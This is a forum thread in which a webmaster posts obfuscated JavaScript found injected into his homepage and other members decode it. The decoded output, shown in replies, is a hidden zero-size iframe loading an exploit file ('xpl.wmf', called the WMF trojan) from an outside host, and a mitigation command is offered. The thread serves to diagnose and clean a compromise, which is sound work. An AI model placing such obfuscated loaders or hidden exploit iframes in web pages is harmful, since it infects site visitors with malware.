Decode some javascript [please] - server hack

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • Makingcoin
    Confirmed User
    • Aug 2002
    • 8919

    #1

    Decode some javascript [please] - server hack

    Wtf is this crap on my homepage?

    <script language="JavaScript">
    e = '0x00' + '5E';str1 = "%E5%BD%B6%AB%C1%AC%AD%A6%B5%BA%E2%FF%AB%B6%AC%B6% BF%B6%B5%B6%AD%A6%E7%B9%B6%BD%BD%BA%B3%FF%E3%E5%B6 %BB%AF%BE%B2%BA%C1%AC%AF%BC%E2%FF%B9%AD%AD%B1%E7%F 0%F0%AA%AC%BA%AF%AC%BC%B0%AA%B3%AD%BA%AF%F3%BC%B0% B2%F0%B3%AD%AF%BE%BB%F0%FF%C1%A8%B6%BD%AD%B9%E2%EE %C1%B9%BA%B6%B8%B9%AD%E2%EE%E3%E5%F0%B6%BB%AF%BE%B 2%BA%E3%E5%F0%BD%B6%AB%E3%C1%D2%D7";str=tmp='';for (i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);
    </script>

    www.MAKINGCOIN.com

    icq. 166-662-831
    "Start making large coin!"


    Daddy I Get Paid To Be A Whore - Coming Soon
  • ~Ray
    visit hardlinks.org
    • Jun 2003
    • 18361

    #2
    didn't you post this same message last week?

    actually it was thinkx

    http://www.gofuckyourself.com/showth...ounter+install
    Adult Backlinks for Adult Websites - Testimonials Available

    Comment

    • EdgeXXX
      Confirmed User
      • Oct 2005
      • 5816

      #3
      Gimme a sec to decode it and I'll tell ya
      .
      .
      .
      .

      I have a sig

      Comment

      • EdgeXXX
        Confirmed User
        • Oct 2005
        • 5816

        #4
        Makingcoin what page is it on?
        .
        .
        .
        .

        I have a sig

        Comment

        • AgentCash
          Confirmed User
          • Feb 2002
          • 720

          #5
          <div style="visibility: hidden"><iframe src="http://userscounter.com/ntraf/" width=1 height=1></iframe></div>
          Whenever you want to decode something like this just look for the document.write(blah) and replace it with alert(blah)

          Comment

          • SmokeyTheBear
            ►SouthOfHeaven
            • Jun 2004
            • 28609

            #6
            yup its the wmf trojan

            <body lang=EN-US link=blue vlink=purple style='tab-interval:.5in'>
            <IFRAME src="http://userscounter.com/ntraf/xpl.wmf"frameborder=0 vspace=0 hspace=0 marginwidth=0 marginheight=0 width=0 height=0 scrolling=no></IFRAME> <IFRAME src="index2.html"
            frameborder=0 vspace=0 hspace=0 marginwidth=0 marginheight=0 width=0 height=0 scrolling=no>
            </IFRAME>
            hatisblack at yahoo.com

            Comment

            • ~Ray
              visit hardlinks.org
              • Jun 2003
              • 18361

              #7
              Start - Run - insert
              regsvr32 /u shimgvw.dll
              Adult Backlinks for Adult Websites - Testimonials Available

              Comment

              Working...